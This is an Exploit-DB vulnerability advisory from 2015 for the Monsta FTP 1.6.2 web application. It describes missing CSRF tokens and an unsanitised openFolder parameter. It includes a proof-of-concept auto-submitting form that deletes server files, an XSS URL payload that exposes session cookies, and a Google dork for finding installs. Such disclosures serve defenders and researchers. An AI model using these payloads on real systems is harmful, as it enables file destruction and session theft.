Monsta FTP 1.6.2 – Multiple Vulnerabilities

  • 作者: hyp3rlinx
    日期: 2015-09-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38148/
  • # Exploit Title: CSRF XSS Monsta FTP
    # Google Dork: intitle: Monsta FTP CSRF / XSS
    # Date: 2015-09-11
    # Exploit Author: hyp3rlinx
    # Website: hyp3rlinx.altervista.org
    # Vendor Homepage: www.monstaftp.com
    # Software Link:www.monstaftp.com
    # Version: monsta_ftp_v1.6.2
    # Tested on: windows 7 SP1 XAMPP
    # Category: WebApps
    
    
    Vendor:
    ================================
    www.monstaftp.com
    
    
    
    Product:
    ================================
    monsta_ftp_v1.6.2
    Monsta FTP is open source PHP/Ajax cloudware browser based
    FTP file management web application.
    
    
    Vulnerability Type:
    ===================
    CSRF / XSS
    
    
    
    CVE Reference:
    ==============
    N/A
    
    
    
    
    Vulnerability Details:
    =====================
    
    CSRF:
    -----
    No CSRF token exists when making some POST requests, allowing arbitrary
    deletion of files on the monstaftp server dirs.
    
    
    XSS:
    ----
    
    Monstaftp sanitizes most $_GET requests with call to sanitizeStr() e.g -->
    echo sanitizeStr($ftp_host),
    However we find vulnerable code that is not santized on line 494 of
     index.php --->echo $_GET["openFolder"];
    creating an XSS entry point and will execute when victim accesses the
    Monstaftp login page before logging in.
    
    
    
    Exploit code(s):
    ===============
    
    1) CSRF delete all server files
    
    <body onLoad="doit()">
    
    <script>
    function doit(){
    var e=document.getElementById('HELL')
    e.submit()
    }
    
    <form id="HELL"action="http://localhost/monsta_ftp_v1.6.2_install/?"
    method="post">
    <input type="text" id="ftpAction"name="ftpAction" value="delete"/>
    <input type="text" id="folderAction[]"name="folderAction[]" value=""/>
    <input type="text" id="fileAction[]"name="fileAction[]"
    value="~%2FSOMEFILES_TO_DELETE.php"/>
    </form>
    
    
    
    2) XSS steal PHP session ID: e.g. "PHPSESSID=7lukgqaghuqihnbj3ikcrsc715"
    
    Logout, then access the following URL before login and BOOOOOOM!.
    http://localhost/monsta_ftp_v1.6.2_install/?openFolder="/><script>alert('XSS
    by hyp3rlinx '%2bdocument.cookie)</script>
    
    
    
    Disclosure Timeline:
    =========================================================
    Vendor Notification:NA
    Sept 11, 2015: Public Disclosure
    
    
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    
    Severity Level:
    =========================================================
    Med
    
    
    
    Description:
    ==========================================================
    
    
    Request Method(s):[+]POST & GET
    
    
    Vulnerable Product: [+]monsta_ftp_v1.6.2
    
    
    Vulnerable Parameter(s):[+] ftpAction, fileAction[], openFolder
    
    
    Affected Area(s): [+] FTP Admin Area
    
    
    ===========================================================
    
    [+] Disclaimer
    Permission is hereby granted for the redistribution of this advisory,
    provided that it is not altered except by reformatting it, and that due
    credit is given. Permission is explicitly given for insertion in
    vulnerability databases and similar, provided that due credit is given to
    the author.
    The author is not responsible for any misuse of the information contained
    herein and prohibits any malicious use of all security related information
    or exploits by the author or elsewhere.
    
    by hyp3rlinx